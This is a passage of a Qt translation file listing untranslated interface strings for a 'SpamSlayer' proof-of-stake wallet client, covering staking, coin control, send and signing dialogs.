the passphrase used for wallet encryption</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>&amp;Debug window</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Open debugging and diagnostic console</source> <translation type="unfinished"/> </message> <message> <location line="-5"/> <source>&amp;Verify message...</source> <translation type="unfinished"/> </message> <message> <location line="-202"/> <source>SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Wallet</source> <translation type="unfinished"/> </message> <message> <location line="+180"/> <source>&amp;About SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+9"/> <source>&amp;Show / Hide</source> <translation type="unfinished"/> </message> <message> <location line="+9"/> <source>Unlock wallet</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>&amp;Lock Wallet</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Lock wallet</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>&amp;File</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>&amp;Settings</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>&amp;Help</source> <translation type="unfinished"/> </message> <message> <location line="+12"/> <source>Tabs toolbar</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Actions toolbar</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <location line="+9"/> <source>[testnet]</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <location line="+60"/> <source>SpamSlayer client</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+75"/> <source>%n active connection(s) to SpamSlayer network</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+40"/> <source>Downloaded %1 blocks of transaction history.</source> <translation type="unfinished"/> </message> <message> <location line="+413"/> <source>Staking.&lt;br&gt;Your weight is %1&lt;br&gt;Network weight is %2&lt;br&gt;Expected time to earn reward is %3</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Not staking because wallet is locked</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Not staking because wallet is offline</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Not staking because wallet is syncing</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Not staking because you don&apos;t have mature coins</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="-403"/> <source>%n second(s) ago</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="-312"/> <source>About SpamSlayer card</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Show information about SpamSlayer card</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>&amp;Unlock Wallet...</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+297"/> <source>%n minute(s) ago</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n hour(s) ago</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n day(s) ago</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+6"/> <source>Up to date</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Catching up...</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Last received block was generated %1.</source> <translation type="unfinished"/> </message> <message> <location line="+59"/> <source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Confirm transaction fee</source> <translation type="unfinished"/> </message> <message> <location line="+27"/> <source>Sent transaction</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Incoming transaction</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Date: %1 Amount: %2 Type: %3 Address: %4 </source> <translation type="unfinished"/> </message> <message> <location line="+100"/> <location line="+15"/> <source>URI handling</source> <translation type="unfinished"/> </message> <message> <location line="-15"/> <location line="+15"/> <source>URI can not be parsed! This can be caused by an invalid SpamSlayer address or malformed URI parameters.</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;unlocked&lt;/b&gt;</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;locked&lt;/b&gt;</source> <translation type="unfinished"/> </message> <message> <location line="+25"/> <source>Backup Wallet</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Wallet Data (*.dat)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Backup Failed</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>There was an error trying to save the wallet data to the new location.</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+76"/> <source>%n second(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n minute(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n hour(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n day(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+18"/> <source>Not staking</source> <translation type="unfinished"/> </message> <message> <location filename="../bitcoin.cpp" line="+109"/> <source>A fatal error occurred. SpamSlayer can no longer continue safely and will quit.</source> <translation type="unfinished"/> </message> </context> <context> <name>ClientModel</name> <message> <location filename="../clientmodel.cpp" line="+90"/> <source>Network Alert</source> <translation type="unfinished"/> </message> </context> <context> <name>CoinControlDialog</name> <message> <location filename="../forms/coincontroldialog.ui" line="+14"/> <source>Coin Control</source> <translation type="unfinished"/> </message> <message> <location line="+31"/> <source>Quantity:</source> <translation type="unfinished"/> </message> <message> <location line="+32"/> <source>Bytes:</source> <translation type="unfinished"/> </message> <message> <location line="+48"/> <source>Amount:</source> <translation type="unfinished"/> </message> <message> <location line="+32"/> <source>Priority:</source> <translation type="unfinished"/> </message> <message> <location line="+48"/> <source>Fee:</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>Low Output:</source> <translation type="unfinished"/> </message> <message> <location filename="../coincontroldialog.cpp" line="+551"/> <source>no</source> <translation type="unfinished"/> </message> <message> <location filename="../forms/coincontroldialog.ui" line="+51"/> <source>After Fee:</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>Change:</source> <translation type="unfinished"/> </message> <message> <location line="+69"/> <source>(un)select all</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Tree mode</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>List mode</source> <translation type="unfinished"/> </message> <message> <location line="+45"/> <source>Amount</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Label</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Address</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Date</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Confirmations</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Confirmed</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Priority</source> <translation type="unfinished"/> </message> <message> <location filename="../coincontroldialog.cpp" line="-515"/> <source>Copy address</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy label</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <location line="+26"/> <source>Copy amount</source> <translation type="unfinished"/> </message> <message> <location line="-25"/> <source>Copy transaction ID</source> <translation type="unfinished"/> </message> <message> <location line="+24"/> <source>Copy quantity</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Copy fee</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy after fee</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy bytes</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy priority</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy low output</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy change</source> <translation type="unfinished"/> </message> <message> <location line="+317"/> <source>highest</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>high</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>medium-high</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>medium</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>low-medium</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>low</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>lowest</source> <translation type="unfinished"/> </message> <message> <location line="+155"/> <source>DUST</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>yes</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>This label turns red, if the transaction size is bigger than 10000 bytes. This means a fee of at least %1 per kb is required. Can vary +/- 1 Byte per input.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Transactions with higher priority get more likely into a block. This label turns red, if the priority is smaller than &quot;medium&quot;. This means a fee of at least %1 per kb is required.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>This label turns red, if any recipient receives an amount smaller than %1. This means a fee of at least %2 is required. Amounts below 0.546 times the minimum relay fee are shown as DUST.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>This label turns red, if the change is smaller than %1. This means a fee of at least %2 is required.</source> <translation type="unfinished"/> </message> <message> <location line="+37"/> <location line="+66"/> <source>(no label)</source> <translation type="unfinished"/> </message> <message> <location line="-9"/> <source>change from %1 (%2)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>(change)</source> <translation type="unfinished"/> </message> </context> <context> <name>EditAddressDialog</name> <message> <location filename="../forms/editaddressdialog.ui" line="+14"/> <source>Edit Address</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>&amp;Label</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>The label associated with this address book entry</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>&amp;Address</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>The address associated with this address book entry. This can only be modified for sending addresses.</source> <translation type="unfinished"/> </message> <message> <location filename="../editaddressdialog.cpp" line="+20"/> <source>New receiving address</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>New sending address</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Edit receiving address</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Edit sending address</source> <translation type="unfinished"/> </message> <message> <location line="+76"/> <source>The entered address &quot;%1&quot; is already in the address book.</source> <translation type="unfinished"/> </message> <message> <location line="-5"/> <source>The entered address &quot;%1&quot; is not a valid SpamSlayer address.</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Could not unlock wallet.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>New key generation failed.</source> <translation type="unfinished"/> </message> </context> <context> <name>GUIUtil::HelpMessageBox</name> <message> <location filename="../guiutil.cpp" line="+420"/> <location line="+12"/> <source>SpamSlayer-Qt</source> <translation type="unfinished"/> </message> <message> <location line="-12"/> <source>version</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Usage:</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>command-line options</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>UI options</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Set language, for example &quot;de_DE&quot; (default: system locale)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Start minimized</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Show splash screen on startup (default: 1)</source> <translation type="unfinished"/> </message> </context> <context> <name>OptionsDialog</name> <message> <location filename="../forms/optionsdialog.ui" line="+14"/> <source>Options</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>&amp;Main</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.01 recommended.</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>Pay transaction &amp;fee</source> <translation type="unfinished"/> </message> <message> <location line="+31"/> <source>Reserved amount does not participate in staking and is therefore spendable at any time.</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>Reserve</source> <translation type="unfinished"/> </message> <message> <location line="+31"/> <source>Automatically start SpamSlayer after logging in to the system.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Start SpamSlayer on system login</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Detach block and address databases at shutdown. This means they can be moved to another data directory, but it slows down shutdown. The wallet is always detached.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Detach databases at shutdown</source> <translation type="unfinished"/> </message> <message> <location line="+21"/> <source>&amp;Network</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Automatically open the SpamSlayer client port on the router. This only works when your router supports UPnP and it is enabled.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Map port using &amp;UPnP</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Connect to the SpamSlayer network through a SOCKS proxy (e.g. when connecting through Tor).</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Connect through SOCKS proxy:</source> <translation type="unfinished"/> </message> <message> <location line="+9"/> <source>Proxy &amp;IP:</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>IP address of the proxy (e.g. 127.0.0.1)</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>&amp;Port:</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>Port of the proxy (e.g. 9050)</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>SOCKS &amp;Version:</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>SOCKS version of the proxy (e.g. 5)</source> <translation type="unfinished"/> </message> <message> <location line="+36"/> <source>&amp;Window</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Show only a tray icon after minimizing the window.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Minimize to the tray instead of the taskbar</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>M&amp;inimize on close</source> <translation type="unfinished"/> </message> <message> <location line="+21"/> <source>&amp;Display</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>User Interface &amp;language:</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>The user interface language can be set here. This setting will take effect after restarting SpamSlayer.</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>&amp;Unit to show amounts in:</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Choose the default subdivision unit to show in the interface and when sending coins.</source> <translation type="unfinished"/> </message> <message> <location line="+9"/> <source>Whether to show SpamSlayer addresses in the transaction list or not.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Display addresses in transaction list</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Whether to show coin control features or not.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Display coin &amp;control features (experts only!)</source> <translation type="unfinished"/> </message> <message> <location line="+71"/> <source>&amp;OK</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>&amp;Cancel</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>&amp;Apply</source> <translation type="unfinished"/> </message> <message> <location filename="../optionsdialog.cpp" line="+55"/> <source>default</source> <translation type="unfinished"/> </message> <message> <location line="+149"/> <location line="+9"/> <source>Warning</source> <translation type="unfinished"/> </message> <message> <location line="-9"/> <location line="+9"/> <source>This setting will take effect after restarting SpamSlayer.</source> <translation type="unfinished"/> </message> <message> <location line="+29"/> <source>The supplied proxy address is invalid.</source> <translation type="unfinished"/> </message> </context> <context> <name>OverviewPage</name> <message> <location filename="../forms/overviewpage.ui" line="+14"/> <source>Form</source> <translation type="unfinished"/> </message> <message> <location line="+33"/> <location line="+231"/> <source>The displayed information may be out of date. Your wallet automatically synchronizes with the SpamSlayer network after a connection is established, but this process has not completed yet.</source> <translation type="unfinished"/> </message> <message> <location line="-160"/> <source>Stake:</source> <translation type="unfinished"/> </message> <message> <location line="+29"/> <source>Unconfirmed:</source> <translation type="unfinished"/> </message> <message> <location line="-107"/> <source>Wallet</source> <translation type="unfinished"/> </message> <message> <location line="+49"/> <source>Spendable:</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>Your current spendable balance</source> <translation type="unfinished"/> </message> <message> <location line="+71"/> <source>Immature:</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Mined balance that has not yet matured</source> <translation type="unfinished"/> </message> <message> <location line="+20"/> <source>Total:</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>Your current total balance</source> <translation type="unfinished"/> </message> <message> <location line="+46"/> <source>&lt;b&gt;Recent transactions&lt;/b&gt;</source> <translation type="unfinished"/> </message> <message> <location line="-108"/> <source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source> <translation type="unfinished"/> </message> <message> <location line="-29"/> <source>Total of coins that was staked, and do not yet count toward the current balance</source> <translation type="unfinished"/> </message> <message> <location filename="../overviewpage.cpp" line="+113"/> <location line="+1"/> <source>out of sync</source> <translation type="unfinished"/> </message> </context> <context> <name>QRCodeDialog</name> <message> <location filename="../forms/qrcodedialog.ui" line="+14"/> <source>QR Code Dialog</source> <translation type="unfinished"/> </message> <message> <location line="+59"/> <source>Request Payment</source> <translation type="unfinished"/> </message> <message> <location line="+56"/> <source>Amount:</source> <translation type="unfinished"/> </message> <message> <location line="-44"/> <source>Label:</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>Message:</source> <translation type="unfinished"/> </message> <message> <location line="+71"/> <source>&amp;Save As...</source> <translation type="unfinished"/> </message> <message> <location filename="../qrcodedialog.cpp" line="+62"/> <source>Error encoding URI into QR Code.</source> <translation type="unfinished"/> </message> <message> <location line="+40"/> <source>The entered amount is invalid, please check.</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>Resulting URI too long, try to reduce the text for label / message.</source> <translation type="unfinished"/> </message> <message> <location line="+25"/> <source>Save QR Code</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>PNG Images (*.png)</source> <translation type="unfinished"/> </message> </context> <context> <name>RPCConsole</name> <message> <location filename="../forms/rpcconsole.ui" line="+46"/> <source>Client name</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <location line="+23"/> <location line="+26"/> <location line="+23"/> <location line="+23"/> <location line="+36"/> <location line="+53"/> <location line="+23"/> <location line="+23"/> <location filename="../rpcconsole.cpp" line="+348"/> <source>N/A</source> <translation type="unfinished"/> </message> <message> <location line="-217"/> <source>Client version</source> <translation type="unfinished"/> </message> <message> <location line="-45"/> <source>&amp;Information</source> <translation type="unfinished"/> </message> <message> <location line="+68"/> <source>Using OpenSSL version</source> <translation type="unfinished"/> </message> <message> <location line="+49"/> <source>Startup time</source> <translation type="unfinished"/> </message> <message> <location line="+29"/> <source>Network</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Number of connections</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>On testnet</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>Block chain</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Current number of blocks</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>Estimated total blocks</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>Last block time</source> <translation type="unfinished"/> </message> <message> <location line="+52"/> <source>&amp;Open</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>Command-line options</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Show the SpamSlayer-Qt help message to get a list with possible SpamSlayer command-line options.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Show</source> <translation type="unfinished"/> </message> <message> <location line="+24"/> <source>&amp;Console</source> <translation type="unfinished"/> </message> <message> <location line="-260"/> <source>Build date</source> <translation type="unfinished"/> </message> <message> <location line="-104"/> <source>SpamSlayer - Debug window</source> <translation type="unfinished"/> </message> <message> <location line="+25"/> <source>SpamSlayer Core</source> <translation type="unfinished"/> </message> <message> <location line="+279"/> <source>Debug log file</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Open the SpamSlayer debug log file from the current data directory. This can take a few seconds for large log files.</source> <translation type="unfinished"/> </message> <message> <location line="+102"/> <source>Clear console</source> <translation type="unfinished"/> </message> <message> <location filename="../rpcconsole.cpp" line="-33"/> <source>Welcome to the SpamSlayer RPC console.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Use up and down arrows to navigate history, and &lt;b&gt;Ctrl-L&lt;/b&gt; to clear screen.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Type &lt;b&gt;help&lt;/b&gt; for an overview of available commands.</source> <translation type="unfinished"/> </message> </context> <context> <name>SendCoinsDialog</name> <message> <location filename="../forms/sendcoinsdialog.ui" line="+14"/> <location filename="../sendcoinsdialog.cpp" line="+182"/> <location line="+5"/> <location line="+5"/> <location line="+5"/> <location line="+6"/> <location line="+5"/> <location line="+5"/> <source>Send Coins</source> <translation type="unfinished"/> </message> <message> <location line="+76"/> <source>Coin Control Features</source> <translation type="unfinished"/> </message> <message> <location line="+20"/> <source>Inputs...</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>automatically selected</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>Insufficient funds!</source> <translation type="unfinished"/> </message> <message> <location line="+77"/> <source>Quantity:</source> <translation type="unfinished"/> </message> <message> <location line="+22"/> <location line="+35"/> <source>0</source> <translation type="unfinished"/> </message> <message> <location line="-19"/> <source>Bytes:</source> <translation type="unfinished"/> </message> <message> <location line="+51"/> <source>Amount:</source> <translation type="unfinished"/> </message> <message> <location line="+22"/> <location line="+86"/> <location line="+86"/> <location line="+32"/> <source>0.00 hack</source> <translation type="unfinished"/> </message> <message> <location line="-191"/> <source>Priority:</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>medium</source> <translation type="unfinished"/> </message> <message> <location line="+32"/> <source>Fee:</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>Low Output:</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>no</source> <translation type="unfinished"/> </message> <message> <location line="+32"/> <source>After Fee:</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>Change</source> <translation type="unfinished"/> </message> <message> <location line="+50"/> <source>custom change address</source> <translation type="unfinished"/> </message> <message> <location line="+106"/> <source>Send to multiple recipients at once</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Add &amp;Recipient</source> <translation type="unfinished"/> </message> <message> <location line="+20"/> <source>Remove all transaction fields</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Clear &amp;All</source> <translation type="unfinished"/> </message> <message> <location line="+28"/> <source>Balance:</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>123.456 hack</source> <translation type="unfinished"/> </message> <message> <location line="+31"/> <source>Confirm the send action</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>S&amp;end</source> <translation type="unfinished"/> </message> <message> <location filename="../sendcoinsdialog.cpp" line="-173"/> <source>Enter a SpamSlayer address (e.g. SpamSlayerfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>Copy quantity</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy fee</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy after fee</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy bytes</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy priority</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy low output</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy change</source> <translation type="unfinished"/> </message> <message> <location line="+86"/> <source>&lt;b&gt;%1&lt;/b&gt; to %2 (%3)</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Confirm send coins</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Are you sure you want to send %1?</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source> and </source> <translation type="unfinished"/> </message> <message> <location line="+29"/> <source>The recipient address is not valid, please recheck.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>The amount to pay must be larger than 0.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>The amount exceeds your balance.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>The total exceeds your balance when the %1 transaction fee is included.</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Duplicate address found, can only send to each address once per send operation.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Error: Transaction creation failed.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation type="unfinished"/> </message> <message> <location line="+251"/> <source>WARNING: Invalid SpamSlayer address</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>(no label)</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>WARNING: unknown change address</source> <translation type="unfinished"/> </message> </context> <context> <name>SendCoinsEntry</name> <message> <location filename="../forms/sendcoinsentry.ui" line="+14"/> <source>Form</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>A&amp;mount:</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Pay &amp;To:</source> <translation type="unfinished"/> </message> <message> <location line="+24"/> <location filename="../sendcoinsentry.cpp" line="+25"/> <source>Enter a label for this address to add it to your address book</source> <translation type="unfinished"/> </message> <message> <location line="+9"/> <source>&amp;Label:</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>The address to send the payment to (e.g. SpamSlayerfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Choose address from address book</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="+7"/> <source>Paste address from clipboard</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+7"/> <source>Remove this recipient</source> <translation type="unfinished"/> </message> <message> <location filename="../sendcoinsentry.cpp" line="+1"/> <source>Enter a SpamSlayer address (e.g. SpamSlayerfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation type="unfinished"/> </message> </context> <context> <name>SignVerifyMessageDialog</name> <message> <location filename="../forms/signverifymessagedialog.ui" line="+14"/> <source>Signatures - Sign / Verify a Message</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <location line="+124"/> <source>&amp;Sign Message</source> <translation type="unfinished"/> </message> <message> <location line="-118"/> <source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>The address to sign the message with (e.g. SpamSlayerfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <location line="+203"/> <source>Choose an address from the address book</source> <translation type="unfinished"/> </message> <message> <location line="-193"/> <location line="+203"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="-193"/> <source>Paste address from clipboard</source> <translation type="unfinished"/> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+12"/> <source>Enter the message you want to sign here</source> <translation type="unfinished"/> </message> <message> <location line="+24"/> <source>Copy the current signature to the system clipboard</source> <translation type="unfinished"/> </message> <message> <location line="+21"/> <source>Sign the message to prove you own this SpamSlayer address</source> <translation type="unfinished"/> </message> <message> <location line="+17"/> <source>Reset all sign message fields</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <location line="+146"/> <source>Clear &amp;All</source> <translation type="unfinished"/> </message> <message> <location line="-87"/> <location line="+70"/> <source>&amp;Verify Message</source> <translation type="unfinished"/> </message> <message> <location line="-64"/> <source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source> <translation type="unfinished"/> </message> <message> <location line="+21"/> <source>The address the message was signed with (e.g. SpamSlayerfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation type="unfinished"/> </message> <message> <location line="+40"/> <source>Verify the message to ensure it was signed with the specified SpamSlayer address</source> <translation type="unfinished"/> </message> <message> <location line="+17"/> <source>Reset all verify message fields</source> <translation type="unfinished"/> </message> <message> <location filename="../signverifymessagedialog.cpp" line="+27"/> <location line="+3"/> <source>Enter a SpamSlayer address (e.g. SpamSlayerfwYhBmGXcFP2Po1NpRUEiK8km2)</source> <translation type="unfinished"/> </message> <message> <location line="-2"/> <source>Click &quot;Sign Message&quot; to generate signature</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Enter SpamSlayer signature</source> <translation type="unfinished"/> </message> <message> <location line="+82"/> <location line="+81"/> <source>The entered address is invalid.</source> <translation 